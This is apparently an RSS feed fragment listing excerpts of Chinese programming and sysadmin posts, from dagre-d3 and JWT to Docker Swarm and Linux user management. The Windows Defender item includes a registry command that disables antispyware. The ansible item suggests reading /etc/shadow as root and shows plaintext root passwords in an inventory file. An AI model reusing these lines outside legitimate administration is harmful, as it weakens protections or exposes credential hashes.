      <description>写在前面 之前有小伙伴问我如何使用 D3 在前端绘制流程图，今天在这里给安排上，与大家分享。&#xA;明确一点，只要你的数据计算能力足够强，使用原生D3绘制流程图绝对可以的，但是，为了让大家更容易上手，避免重复造轮子，给大家推荐一个专门绘制流程图的 D3 插件 dagre-d3。&#xA;首先认识下 dagre。dagre 是专注于有向图布局的 javascript 库，由于 dagre 仅仅专注于图形布局，需要使用其他方案根据 dagre 的布局信息来实际渲染图形，而 dagre-d3 就是 dagre 基于 D3 的渲染方案。&#xA;dagre 项目地址：&#xA;dagrejs/dagre​github.com dagre-d3 项目地址：&#xA;dagrejs/dagre-d3​github.com 下面使用 D3 与 dagre-d3 绘制新冠疫情期间的流动人员检测流程图，老规矩先上效果图。&#xA;绘制基本流程图 数据准备 流程图作为一种有向图，与树图、网络图一样，数据由节点以及两点之间的边组成。&#xA;let 绘图 使用 dagre-d3 绘制流程图分为以下个步骤&#xA;引入 d3.js 以及 dagre-d3.js 两个文件。使用 dagre-d3 创建 Graph 对象，并添加节点和边。创建渲染器并在 svg 上绘制流程图。 //引入 d3,dagre-d3 这样，前面的流程图就绘制出来了，如此简单，赶紧动手试一试！&#xA;如果你的需求远不止如此，要绘制更加高级的流程图，那么，还需要了解一下 dagre 里的基本概念以及相关配置项，深入掌握 dagre 与 d3-dagre 。&#xA;基本概念 dagre 是基于《A Technique for Drawing Directed Graphs》[1] 的理论实现图布局的。这篇文章的理论包含了以下5个重要概念：</description>
    </item>
    <item>
      <title>计算加减乘除混合运算python实现_python,实现计算器程序,加减乘除混合运算加括号,完善实现...</title>
      <link>https://bchobby.github.io/posts/397eb03c06ab88a03d6620c092ac80b8/</link>
      <pubDate>Sat, 28 Nov 2020 23:42:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/397eb03c06ab88a03d6620c092ac80b8/</guid>
      <description>importre#detect error input&#xA;s = input(&#34;Expression:&#34;)&#xA;s= re.sub(&#39;\s&#39;,&#34;&#34;,s)if re.findall(&#39;[^0-9\+\-\*/\)\(]&#39;,s):print(&#34;Error input,Stop!&#34;)&#xA;exit()defjudge1(sign):if sign == &#39;*&#39;:&#xA;obj= re.compile(&#39;\*&#39;)elif sign == &#39;/&#39;:&#xA;obj= re.compile(&#39;/&#39;)return(obj)defjudge2(sign):if sign == &#39;+&#39;:&#xA;obj= re.compile(&#39;\+&#39;)elif sign == &#39;-&#39;:&#xA;obj= re.compile(&#39;\-&#39;)return(obj)defFormat(s):&#xA;s= s.replace(&#39; &#39;,&#39;&#39;)&#xA;s= s.replace(&#39;++&#39;,&#39;+&#39;)&#xA;s= s.replace(&#39;+-&#39;,&#39;-&#39;)&#xA;s= s.replace(&#39;-+&#39;,&#39;-&#39;)&#xA;s= s.replace(&#39;--&#39;,&#39;+&#39;)return(s)defcalculate(s):while re.search(&#39;[\*,/]&#39;,s):&#xA;s=Format(s)&#xA;obj= judge1(re.search(&#39;[\*,/]&#39;,s).group())&#xA;res=obj.split(s)&#xA;first= re.search(&#39;[\d,\.]+$&#39;,res[0]).group()&#xA;second= re.search(&#39;^[\d,\.,\-]+&#39;,res[1]).group()if re.search(&#39;\.&#39;,first):&#xA;fir=float(first)else:&#xA;fir=int(first)if re.search(&#39;\.&#39;,second):&#xA;sec=float(second)else:&#xA;sec=int(second)if re.search(&#39;[\*,/]&#39;,s).group() == &#39;*&#39;:&#xA;result= str((fir *sec))&#xA;s= re.sub(&#39;%s\*%s&#39;%(first,second),result,s)print(&#39;s=&#39;,s)elif re.search(&#39;[\*,/]&#39;,s).group() == &#39;/&#39;:&#xA;result= str(fir /sec)</description>
    </item>
    <item>
      <title>【Python基础】random.shuffle()的用法</title>
      <link>https://bchobby.github.io/posts/90a4bb9bdd52d4e9c4bc4f01b41911d8/</link>
      <pubDate>Sat, 28 Nov 2020 19:54:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90a4bb9bdd52d4e9c4bc4f01b41911d8/</guid>
      <description>函数用法&#xA;random.shuffle()用于将一个列表中的元素打乱顺序，值得注意的是使用这个方法不会生成新的列表，只是将原列表的次序打乱。&#xA;代码案例&#xA;# shuffle()使用样例 import random x = [i for i in range(10)] print(x) [0, 1, 2, 3, 4, 5, 6, 7, 8, 9] random.shuffle(x) print(x) [2, 5, 4, 8, 0, 3, 7, 9, 1, 6] 源码及注释&#xA;def shuffle(self, x, random=None): &#34;&#34;&#34;Shuffle list x in place, and return None. 原位打乱列表，不生成新的列表。 Optional argument random is a 0-argument function returning a random float in [0.0, 1.0); if it is the default None, the standard random.</description>
    </item>
    <item>
      <title>Win10家庭版出现了Windows Defender 安全中心提示：windows defender 页面不可用解决办法</title>
      <link>https://bchobby.github.io/posts/80050e236b76de8d72df7575da62c1de/</link>
      <pubDate>Sat, 28 Nov 2020 16:30:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80050e236b76de8d72df7575da62c1de/</guid>
      <description>win10系统：你的IT管理员已经限制对此应用一些区域的访问 解决方法 Win10家庭版出现了Windows Defender 安全中心提示：windows defender 页面不可用,你的IT管理员已经限制对此应用一些区域的访问,你尝试访问的项目不可用。有关详细信息，请与你的IT支持人员联系。 话说电脑基本都是自己用，win10竟然提出如此无理的要求，也罢，先不管他，本文中winwin7给大家分享介绍下win10系统：你的IT管理员已经限制对此应用一些区域的访问 解决方法！&#xA;win10系统：你的IT管理员已经限制对此应用一些区域的访问 解决方法：&#xA;1、首先我们先按下win+s打开Cortana，在框中输入命令提示符，右键管理员身份运行；&#xA;2、急着在命令提示符中复制下面这段代码：reg add &#34;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender&#34; /v &#34;DisableAntiSpyware&#34; /d 1 /t REG_DWORD /f 按下回车键，显示操作成功完成。&#xA;3、等待上一条命令执行完毕后接着输入：reg add &#34;HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender&#34; /v &#34;DisableAntiSpyware&#34; /d 0 /t REG_DWORD /f 同样按下回车键执行即可！&#xA;关闭计算机，重新打开计算机，问题解决。&#xA;通过以上步骤3个步骤进行操作即可完成修复，解决windows defender出现限制的故障了~&#xA;最后的终极大招，如果上述操作都无法解决问题的话，请再最后试试下面这个办法：&#xA;新建一个文本文件，将下面这部分内容复制进去。&#xA;Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender] &#34;DisableAntiSpyware&#34;=dword:00000000 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection] &#34;DisableBehaviorMonitoring&#34;=dword:00000000 &#34;DisableIOAVProtection&#34;=dword:00000000 &#34;DisableOnAccessProtection&#34;=dword:00000000 &#34;DisableRealtimeMonitoring&#34;=dword:00000000 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SecurityHealthService] &#34;Start&#34;=dword:00000002 然后Ctrl+S保存，关闭该文本文件，修改文件扩展名为reg，双击运行即可。&#xA;懒得复制的同学请直接下载：https://download.csdn.net/download/anmin8888/16675280</description>
    </item>
    <item>
      <title>ansible 普通用户执行root权限操作</title>
      <link>https://bchobby.github.io/posts/d4d96be57085512f2ded2f42c5e2e51c/</link>
      <pubDate>Sat, 28 Nov 2020 13:17:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d4d96be57085512f2ded2f42c5e2e51c/</guid>
      <description>https://blog.csdn.net/qq_35702095/article/details/90486379?utm_medium=distribute.pc_relevant.none-task-blog-title-2&amp;amp;spm=1001.2101.3001.4242 ansible 普通用户执行root权限操作 熟悉开机关机重启 2019-05-23 19:53:05 8757 收藏 6&#xA;分类专栏： ansible 文章标签： ansible root&#xA;版权&#xA;ansible -h可以看到有&#xA;--become (-b)&#xA;--become-method --become-user&#xA;--ask-become-pass (-K)大写K&#xA;四个参数，利用这四个参数可以在ansible命令和playbook中用普通用户执行root操作。&#xA;命令： ansible 10.12.3.27,10.31.2.38 -m shell -a &#39;date&#39; -b --become-method su --become-user root --ask-become-pass（-K）大写K&#xA;输入密码后，相当于用root执行了date命令，可以把date换成 cat /etc/shadow验证root权限。 多个ip（主机列表）的主机需要相同的root密码（只用输入一次），密码不同可以分多次或者直接配好密码。&#xA;如果想配好密码，可以在/etc/ansible/hosts为每个机器添加密码或者为组添加密码。例如：&#xA;[groupa]&#xA;10.10.10.1 ansible_become_pass=rootpwd1&#xA;10.10.10.2 ansible_become_pass=rootpwd2&#xA;[groupb]&#xA;10.10.10.3&#xA;10.10.10.4&#xA;[groupb:vars]&#xA;ansible_become_pass=rootpwd34&#xA;如果失败可能是ssh过去后，执行su -后没有提示输入密码，应该是编码问题，在受控机器上执行echo export en_CN.utf-8 &amp;gt;&amp;gt;~/.bashrc,然后再执行ansible命令试试。&#xA;playbook：&#xA;---&#xA;- hosts: 10.12.3.28,10.12.3.27&#xA;become: yes&#xA;become_user: root&#xA;become_method: su&#xA;tasks:</description>
    </item>
    <item>
      <title>这里告诉你到底该怎么区分java的==和equals</title>
      <link>https://bchobby.github.io/posts/517f835a1ddadb91189f338f7d4b6e92/</link>
      <pubDate>Sat, 28 Nov 2020 10:42:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/517f835a1ddadb91189f338f7d4b6e92/</guid>
      <description>这里告诉你到底该怎么区分java的==和equals 网上总有一些迷惑性文章，说了半天我也是没能理解。&#xA;== 是比较内存地址的。只要记住这个就行了。&#xA;equals是用户自己的。在很多情况下== 和eqals是等价的&#xA;因为&#xA;在java中Object是所有类的祖宗，所有类都继承了它。所以在任何一个没有重写equals方法的类里，且它的父类中除Object外都没写。那么==和equals是等价的。因为Object的equals是下面这个样子的:&#xA;//这个是Object的源码，equals方法 public boolean equals(Object obj) { return (this == obj); } 还是 == 。-_-!&#xA;所以equals是java给我们用户自己写的判等。也就是你可以在你的类中这么干：&#xA;@Override public boolean equals(Object obj) { return true; } 不管你的实例equals谁都会true。&#xA;这也是为什么在java中string要想判断相等要用equals。因为String里的equals是这个样子的：&#xA;//java的String的equals的源码 public boolean equals(Object anObject) { if (this == anObject) { return true; } if (anObject instanceof String) { String anotherString = (String)anObject; int n = value.length; if (n == anotherString.value.length) { char v1[] = value; char v2[] = anotherString.</description>
    </item>
    <item>
      <title>定义学生类包含姓名和成绩两个数据成员，重载比较运算符（按成绩和按姓名两个模式比较）和输出运算符</title>
      <link>https://bchobby.github.io/posts/4fda22619e8bb945c5813eca23dc6d16/</link>
      <pubDate>Sat, 28 Nov 2020 01:27:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4fda22619e8bb945c5813eca23dc6d16/</guid>
      <description>C++模板【定义学生类包含姓名和成绩两个数据成员，重载比较运算符（按成绩和按姓名两个模式比较）和输出运算符】 · 完整代码 实现下列功能。&#xA;1）定义学生类包含姓名和成绩两个数据成员，重载比较运算符（按成绩和按姓名两个模式比较）和输出运算符。&#xA;2）实现greater_than函数模板，用于比较两个对象的大小，如果a&amp;gt;b，返回true，否则返回false。&#xA;3）实现less_than函数模板，用于比较两个对象的大小，如果a&amp;lt;b，返回true，否则返回false。&#xA;4）实现Print函数模板，用于打印一维数组。&#xA;5）实现冒泡排序的函数模板，输入参数是数组、数组大小和用于比较的数组元素的函数指针。&#xA;void bubble_sort(T arr[], int len, bool(*compare)(T&amp;amp;, T&amp;amp;));&#xA;//学生类部分 enum SortType{ BY_SCORE,BY_NAME }; static SortType sort_type ; class Student{ public: Student(string name, int score):name_(name),score_(score){ } bool operator &amp;gt; (const Student&amp;amp; rhs){ if(sort_type == BY_SCORE){ if(score_&amp;gt;rhs.score_){ return true; } return false; } else if(sort_type == BY_NAME){ if(name_&amp;gt;rhs.name_){ return true; } return false; } } bool operator &amp;lt; (const Student&amp;amp; rhs){ if(sort_type == BY_SCORE){ if(score_&amp;lt;rhs.</description>
    </item>
    <item>
      <title>python连接数据库mysql失败_python操作MySQL数据库报错问题解决</title>
      <link>https://bchobby.github.io/posts/aaddaadade536f24dc94544dd3fb1b9c/</link>
      <pubDate>Sat, 28 Nov 2020 00:21:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aaddaadade536f24dc94544dd3fb1b9c/</guid>
      <description>#coding:utf8&#xA;&#39;&#39;&#39;定义对mysql数据库操作的封装&#xA;1、包括基本的单条语句操作，如删除、修改、插入&#xA;2、独立地查询单条、多条数据&#xA;3、独立地添加多条数据&#39;&#39;&#39;&#xA;importlogging, os, pymysqlfrom public importconfigclassOperationDbInterface(object):#定义初始化数据库连接&#xA;def __init__(self, host_db=&#39;127.0.0.1&#39;, user_db=&#39;root&#39;, password_db=&#39;123456&#39;,&#xA;name_db=&#39;interface_test&#39;, port_db=3306, link_type=0):&#39;&#39;&#39;:param host_db: 数据库服务主机IP&#xA;:param user_db: 数据库连接用户名&#xA;:param password_db: 数据库密码&#xA;:param name_db: 数据库名称&#xA;:param port_db: 数据库端口号，整型数据&#xA;:param link_type: 连接类型，用于设置输出数据是元祖还是字典，默认是字典，link_type=0&#xA;:return:游标&#39;&#39;&#39;&#xA;try:if link_type ==0:#创建数据，返回字典&#xA;self.conn = pymysql.connect(host=host_db, user=user_db, password=password_db, db=name_db, port=port_db,&#xA;charset=&#39;utf8&#39;, cursorclass=pymysql.cursors.DictCursor)else:#创建数据库，返回元祖&#xA;self.conn = pymysql.connect(host=host_db, user=user_db, password=password_db, db=name_db, port=port_db,&#xA;charset=&#39;utf8&#39;)&#xA;self.cur=self.conn.cursor()print(&#34;输出：%s&#34; %self.cur)exceptpymysql.Error as e:print(&#34;创建数据库连接失败|Mysql Error %d: %s&#34; % (e.args[0], e.args[1]))&#xA;logging.basicConfig(filename=config.src_path + &#39;/log/syserror.log&#39;, level=logging.</description>
    </item>
    <item>
      <title>Spring Bean 如何重新注入？</title>
      <link>https://bchobby.github.io/posts/337d4abb0497df77093b0b9567d657d5/</link>
      <pubDate>Fri, 27 Nov 2020 20:14:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/337d4abb0497df77093b0b9567d657d5/</guid>
      <description> 故事背景： 以spring cache redis为例，Nacos配置中心配置了cacheManager的ttl参数，以@NacosValue的形式注入并配置为cacheManager的参数。&#xA;了解spring cache的朋友们应该明白，这里的cacheManager是spring初始化时初始化的一个Bean，这个Bean在初始化时从Nacos获取了一个ttl参数并配置在这个Bean上。&#xA;需求： 修改Nacos的配置，cacheManager自动更新，使得ttl这bean能够刷新。&#xA;实现思路： 通过事件监听机制，监听到Nacos配置变更的动作：实现ApplicationListener接口，实现其方法onApplicationEvent(NacosConfigReceivedEvent event) 。在监听接口中解析nacos配置内容。从配置内容取出ttl参数。通过spring的ApplicationContext取出DefaultListableBeanFactory，使用DefaultListableBeanFactory移除cacheManager这个bean。加入新参数ttl，重新生成cacheManager Bean，并放入spring容器中。&#xA;4，5不好描述，参考代码如下： DefaultListableBeanFactory autowireCapableBeanFactory = (DefaultListableBeanFactory )ApplicationContextUtil.getContext().getAutowireCapableBeanFactory(); autowireCapableBeanFactory.removeBeanDefinition(beanName); AbstractBeanDefinition beanDefinition = BeanDefinitionBuilder.genericBeanDefinition(implBeanClz).getBeanDefinition(); autowireCapableBeanFactory.registerBeanDefinition(beanName,beanDefinition); </description>
    </item>
    <item>
      <title>matlab模拟传感器节点_「实例」西门子Smart的模拟量编程</title>
      <link>https://bchobby.github.io/posts/2dc848cfb55bb017aba3ede1ab8577fc/</link>
      <pubDate>Fri, 27 Nov 2020 17:37:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2dc848cfb55bb017aba3ede1ab8577fc/</guid>
      <description>1.普通模拟量模块接线&#xA;模拟量类型的模块有三种：普通模拟量模块、RTD模块和TC模块。普通模拟量模块可以采集标准电流和电压信号。其中，电流包括：0-20mA、4-20mA两种信号，电压包括：+/-2.5V、+/-5V、+/-10V三种信号。注意：S7-200 SMART CPU普通模拟量通道值范围是0~27648或-27648~27648。普通模拟量模块接线端子分布如下图1 模拟量模块接线所示，每个模拟量通道都有两个接线端。&#xA;图1 模拟量模块接线 模拟量电流、电压信号根据模拟量仪表或设备线缆个数分成四线制、三线制、两线制三种类型，不同类型的信号其接线方式不同。四线制信号指的是模拟量仪表或设备上信号线和电源线加起来有4根线。仪表或设备有单独的供电电源，除了两个电源线还有两个信号线。四线制信号的接线方式如下图2模拟量电压/电流四线制接线所示。&#xA;图2 模拟量电压/电流四线制接线 三线制信号是指仪表或设备上信号线和电源线加起来有3根线，负信号线与供电电源M线为公共线。三线制信号的接线方式如下图3 模拟量电压/电流三线制接线所示。&#xA;图3 模拟量电压/电流三线制接线&#xA;两线制信号指的是仪表或设备上信号线和电源线加起来只有两个接线端子。由于S7-200 SMART CPU模拟量模块通道没有供电功能，仪表或设备需要外接24V直流电源。两线制信号的接线方式如下图4 模拟量电压/电流两线制接线所示。&#xA;图4 模拟量电压/电流两线制接线&#xA;不使用的模拟量通道要将通道的两个信号端短接，接线方式如下图5 不使用的通道需要短接所示。&#xA;图5 不使用的通道需要短接&#xA;2. RTD模块接线&#xA;RTD热电阻温度传感器有两线、三线和四线之分，其中四线传感器测温值是最准确的。S7-200 SMART EM RTD模块支持两线制、三线制和四线制的RTD传感器信号，可以测量PT100、PT1000、Ni100、Ni1000、Cu100等常见的RTD温度传感器，具体型号请查阅《S7-200 SMART系统手册》。S7-200 SMART EM RTD模块还可以检测电阻信号，电阻也有两线、三线和四线之分。EM RTD模块的接线方法如下图6 传感器RTD/电阻信号接线所示。&#xA;图6 RTD传感器/电阻信号接线&#xA;3. TC模块接线&#xA;热电偶测量温度的基本原理是：两种不同成份的材质导体组成闭合回路，当两端存在温度梯度时回路中就会有电流通过，此时两端之间就存在电动势。S7-200 SMART EM TC模块可以测量J、K、T、E、R&amp;amp;S和N型等热电偶温度传感器，具体型号请查阅《S7-200 SMART系统手册》。TC模块的接线说明参考图7 TC信号接线。&#xA;二．模拟量模块编程详细介绍&#xA;1.组态模拟量输入&#xA;单击&#34;系统块&#34;(System Block) 对话框的&#34;模拟量输入&#34;(Analog Inputs) 节点为在顶部选择的模拟量输入模块组态选项。&#xA;图1.模拟量输入设置窗口&#xA;对于每条模拟量输入通道，都将类型组态为电压或电流。为偶数通道选择的类型也适用于奇数通道：为通道 0 选择的类型也适用于通道 1 ，为通道 2 选择的类型也适用于通 道 3 。然后组态通道的电压范围或电流范围。可选择以下取值范围之一：● +/- 2.5v ● +/- 5v ● +/- 10v ● 0 - 20mA(电话/微信：17888133330)</description>
    </item>
    <item>
      <title>mysql between and 包含边界吗_MySQL | SQL语法（一）</title>
      <link>https://bchobby.github.io/posts/6c7458346a63435ea9f4a218f31631bd/</link>
      <pubDate>Fri, 27 Nov 2020 17:32:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c7458346a63435ea9f4a218f31631bd/</guid>
      <description>本篇使用的数据库管理工具是Navicat for MySQL，以3个数据源表table1，table2，table3为例，简单举例陈述SQL中数据查询语言的使用。&#xA;一、DB、DBMS与SQL DB(Database)，即数据库，相当于一个仓库，用于有组织地存储数据。&#xA;DBMS(Database Management System)，即数据库管理系统，用于操作和管理数据库。主要分为两大类：RDBMS、NoSQL。&#xA;RDBMS：关系型数据库管理系统，主要实现对结构化数据的管理，为二元关系模型。如Oracle、MySQL、SQL Server、DB2等。NoSQL：非关系型数据库管理系统，弥补关系型数据库管理系统的不足。如Redis、MongoDB等。 SQL(Structured Query Language)，即结构化查询语言，是关系型数据的一门通用语言，用于实现对数据库的查询、更新和管理。其语言主要分为四个部分：DDL、DML、DCL和DQL。&#xA;DDL(Data Definition Language)，数据定义语言，它用来定义我们的数据库对象，包括数据库、数据表和列。通过使用DDL，我们可以创建、删除和修改数据库及表结构。DML(Data Manipulation Language)，数据操作语言，我们用它操作和数据库相关的记录，比如增加、删除、修改数据表中的数据。DCL(Data Control Language)，数据控制语言，我们用它来定义访问权限和安全级别。DQL(Data Query Language)，数据查询语言，我们绝大多数情况下都是在和查询打交道，因此学会编写正确且高效的查询语句非常重要。 三者的关系是：数据库管理系统（DBMS）使用SQL语句管理数据库（DB）。注：所有的DBMS使用的SQL语句基本相同，只存在个别不兼容。&#xA;二、DQL：数据查询语言 1.查询表中所有的数据&#xA;select * from table_name&#xA;select Navicat for MySQL运行结果如下：&#xA;*代表所有列，table_name代表表的名称，结果显示table1中全部35条数据。&#xA;2.查询表中指定字段的数据&#xA;select column1,column2,... from table_name select Navicat for MySQL运行结果如下：&#xA;3.按条件查询表中的数据（单一条件）&#xA;select * from table_name where column 运算符 value&#xA;select Navicat for MySQL运行结果如下：&#xA;4.按条件查询表中的数据（组合and）&#xA;select * from table_name where column1 运算符 value1 and column2 运算符 value2</description>
    </item>
    <item>
      <title>SpringBoot项目引入token设置</title>
      <link>https://bchobby.github.io/posts/015e0e48b5e4c5b60e9bd352030229c8/</link>
      <pubDate>Fri, 27 Nov 2020 16:55:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/015e0e48b5e4c5b60e9bd352030229c8/</guid>
      <description>一. 先了解熟悉JWT（JSON Web Token） 看这些介绍、结构之类的，确实挺无聊的；想直接进入主题的话，就跳过第一大步。望各位同仁给出相关意见，以备我来更加深入的学习。&#xA;1. JSON Web Token是什么鬼？ 这个东西，反正理解成一个标准就行了，啥标准我也不知道。反正就是用于各种信息的安全性传输。&#xA;1. JSON Web令牌应用的场景 1.授权，在用户登录后会给用户一个token，在用户后续的所有请求后台资源的操作都将携带这个token，只有被token允许的操作才能执行。&#xA;2.信息交换，应用于各种数据信息交换的场景；目前这种场景我也没有涉及到过，嘿嘿！&#xA;2. JSON Web令牌结构 JSON Web Tokens由dot（.）分隔的三个部分组成：Header、Payload、Signature；&#xA;因此token的形式是：&#xA;xxxxx.yyyyy.zzzzz 2.1 Header 标头通常由两部分组成：令牌的类型，即JWT，以及正在使用的签名算法，例如HMAC SHA256或RSA。&#xA;{ &#34;alg&#34;: &#34;HS256&#34;, &#34;typ&#34;: &#34;JWT&#34; } 然后，这个JSON被编码为Base64Url，形成JWT的第一部分&#xA;2.2 Payload 这一部分是声明，有三种类型：注册，公开和私有声明；&#xA;注册&#xA;这些是一组预定义声明，不是强制性的，但建议使用，以提供一组有用的，可互操作的声明。其中一些是：iss (issuer), exp (expiration time), sub (subject), aud(audience)等&#xA;注：请注意，声明名称只有三个字符，因为JWT意味着紧凑。公开&#xA;这些可以由使用JWT的人随意定义。但为避免冲突，应在 IANA JSON Web令牌注册表中定义它们，或者将其定义为包含防冲突命名空间的URI私有&#xA;私有声明是提供者和消费者所共同定义的声明，一般不建议存放敏感信息，因为base64是对称解密的，意味着该部分信息可以归类为明文信息&#xA;payload示例： { &#34;sub&#34;: &#34;1234567890&#34;, &#34;name&#34;: &#34;John Doe&#34;, &#34;admin&#34;: true } 然后，payload经过Base64Url编码，形成JSON Web令牌的第二部分&#xA;请注意：对于签名令牌，此信息虽然可以防止被篡改，但任何人都可以读取。除非加密，否则不要将秘密信息放在JWT的payload或header中。&#xA;2.3 Signature 要创建签名部分，必须采用 header, payload, secret，标头中指定的算法，并对其进行签名。</description>
    </item>
    <item>
      <title>Docker Swarm集群管理</title>
      <link>https://bchobby.github.io/posts/efbaf606677f910baaef5e150dc1968f/</link>
      <pubDate>Fri, 27 Nov 2020 13:20:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/efbaf606677f910baaef5e150dc1968f/</guid>
      <description>文章目录 1. 简介2. 架构3. Swarm的核心概念2.1 集群2.2 节点2.3 服务和任务2.4 负载均衡 4. Swarm的工作模式4.1 node4.2 Service4.3 任务与调度4.4 服务副本与全局服务 5. Swarm的调度策略6. Swarm Cluster模式特性7. Swarm安装8. Swarm集群搭建8.1 创建新集群8.2 查看集群状态和节点信息8.3 添加工作节点到集群8.4 更改节点的availablity状态8.5 发布服务到集群8.6 在Swarm中动态扩展服务(scale)8.7 更新服务8.8 节点管理 1. 简介 Swarm是Docker公司推出的用来管理docker集群的平台，几乎全部用GO语言来完成的开发的，代码开源在https://github.com/docker/swarm， 它是将一群Docker宿主机变成一个单一的虚拟主机，Swarm使用标准的Docker API接口作为其前端的访问入口，换言之，各种形式的Docker&#xA;Client(compose,docker-py等)均可以直接与Swarm通信，甚至Docker本身都可以很容易的与Swarm集成，这大大方便了用户将原本基于单节点的系统移植到Swarm上，同时Swarm内置了对Docker网络插件的支持，用户也很容易的部署跨主机的容器集群服务。&#xA;Docker Swarm 和 Docker Compose 一样，都是 Docker 官方容器编排项目，但不同的是，Docker Compose 是一个在单个服务器或主机上创建多个容器的工具，而 Docker Swarm 则可以在多个服务器或主机上创建容器集群服务，对于微服务的部署，显然 Docker Swarm 会更加适合。&#xA;从 Docker 1.12.0 版本开始，Docker Swarm 已经包含在 Docker 引擎中（docker swarm），并且已经内置了服务发现工具，我们就不需要像之前一样，再配置 Etcd 或者 Consul 来进行服务发现配置了。&#xA;Swarm deamon只是一个调度器(Scheduler)加路由器(router),Swarm自己不运行容器，它只是接受Docker客户端发来的请求，调度适合的节点来运行容器，这就意味着，即使Swarm由于某些原因挂掉了，集群中的节点也会照常运行，放Swarm重新恢复运行之后，他会收集重建集群信息。&#xA;2. 架构 docker swarm是docker官方提供的一套容器编排系统，是Docker公司推出的官方容器集群平台。基于 Go语言实现。它的架构如下:</description>
    </item>
    <item>
      <title>no suitable HttpMessageConverter found for response type 异常</title>
      <link>https://bchobby.github.io/posts/a3d87e6e3ae014e46c61579d7acc5083/</link>
      <pubDate>Fri, 27 Nov 2020 11:38:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a3d87e6e3ae014e46c61579d7acc5083/</guid>
      <description> 报错：&#xA;org.springframework.web.client.RestClientException: Could not extract response: no suitable HttpMessageConverter found for response type [...] and content type [text/html;charset=utf-8] 解决办法：&#xA;HttpHeaders headers = new HttpHeaders(); headers.add(&#34;Content-Type&#34;, &#34;text/html;charset=utf-8&#34;); HttpEntity requestEntity=new HttpEntity&amp;lt;&amp;gt;(headers); RestTemplate restTemplate = getRestTemplate(timeOut); MappingJackson2HttpMessageConverter converter = new MappingJackson2HttpMessageConverter(); converter.setSupportedMediaTypes(Arrays.asList(MediaType.ALL)); restTemplate.getMessageConverters().add(0, converter); ResponseEntity baseResultVOResponseEntity = restTemplate.exchange(url, HttpMethod.POST, requestEntity, //返回值类型 new ParameterizedTypeReference&amp;lt;ResponseDTO&amp;lt;SomeResponseDTO&amp;gt;&amp;gt;() { }); } private static RestTemplate getRestTemplate(Integer timeout) { SimpleClientHttpRequestFactory requestFactory = new SimpleClientHttpRequestFactory(); requestFactory.setConnectTimeout(timeout); return new RestTemplate(requestFactory); } </description>
    </item>
    <item>
      <title>Linux用户/用户组/权限相关命令</title>
      <link>https://bchobby.github.io/posts/9b78faefed5b569614bfeed94b64c801/</link>
      <pubDate>Fri, 27 Nov 2020 00:35:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b78faefed5b569614bfeed94b64c801/</guid>
      <description>1. 用户组的管理 1.1 cat /etc/group 查看用户组 命令：cat /etc/group 查看所有的用户组备注：/etc/group是用户组存放的地址&#xA;名词解释组名组名是用户组的名称，由字母或数字构成。与/etc/passwd中的登录账号重复口令口令字段存放的是用户组加密后的口令字。一般为空或x组标识号组标识号与用户标识号类似，也是一个整数，被系统内部用来标识组，又称GID 以kmem: x: 9为例，kmem是组名，9是组ID，自动生成，修改组名后ID不变&#xA;1.2 增加/修改/删除用户组 含义格式举例增加用户组groupadd 组名groupadd test21修改用户组groupmod –n 新组名 旧组名groupmod –n test2121 test21删除用户组groupdel 组名groupdel test2121 2. 用户管理 2.1 cat /etc/passwd 查看用户 命令：cat /etc/passwd&#xA;用户字段说明&#xA;字段说明用户名代表用户账号的字符串，通常长度不超过8个字符，登录名中不能使用冒号，因为冒号在这里是分隔符。为了兼容起见，还应包含点字符，且不能使用连字符（-）和加号开头口令存放着加密后的用户口令字，存放一个特殊的字符，例如x或*，加密后的用户口令字存放在/etc/shadow文件中用户标识号是一个整数，系统内部用它来标识用户，一般情况下它与用户名是一一对应的组标识号字段记录的是用户所属的用户组，它对应着/etc/group文件中的一条记录 2.2 useradd 增加用户 格式 useradd 用户名 –c 用户描述 –g 所属用户组&#xA;备注：所属用户组可以是组名，也可以是组ID&#xA;参数 参数含义-c指定一段注释性描述-g指定用户所属的用户组 备注 -c和-g都可以不加，当只使用useradd创建一个用户名时，此用户名不属于已有的任何组，系统会自动创建一个和用户名同名的组&#xA;举例 useradd test1 –c danshiju –g test21（创建一个属于test21用户组的test1用户，用户的描述是danshiju）&#xA;2.3 usermod 修改用户 参数格式含义-lusermod –l 新用户名 旧用户名指定一个新账号，即将原来的用户名改为新的用户名-cusermod –c 新描述 用户名修改描述-gusermod –g 新用户组 用户名修改用户所属的用户组 2.</description>
    </item>
    <item>
      <title>关于\x开头的字符串编码转换中文解决方法</title>
      <link>https://bchobby.github.io/posts/2417ce76c91cf36990823e7df9c6de8e/</link>
      <pubDate>Thu, 26 Nov 2020 18:46:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2417ce76c91cf36990823e7df9c6de8e/</guid>
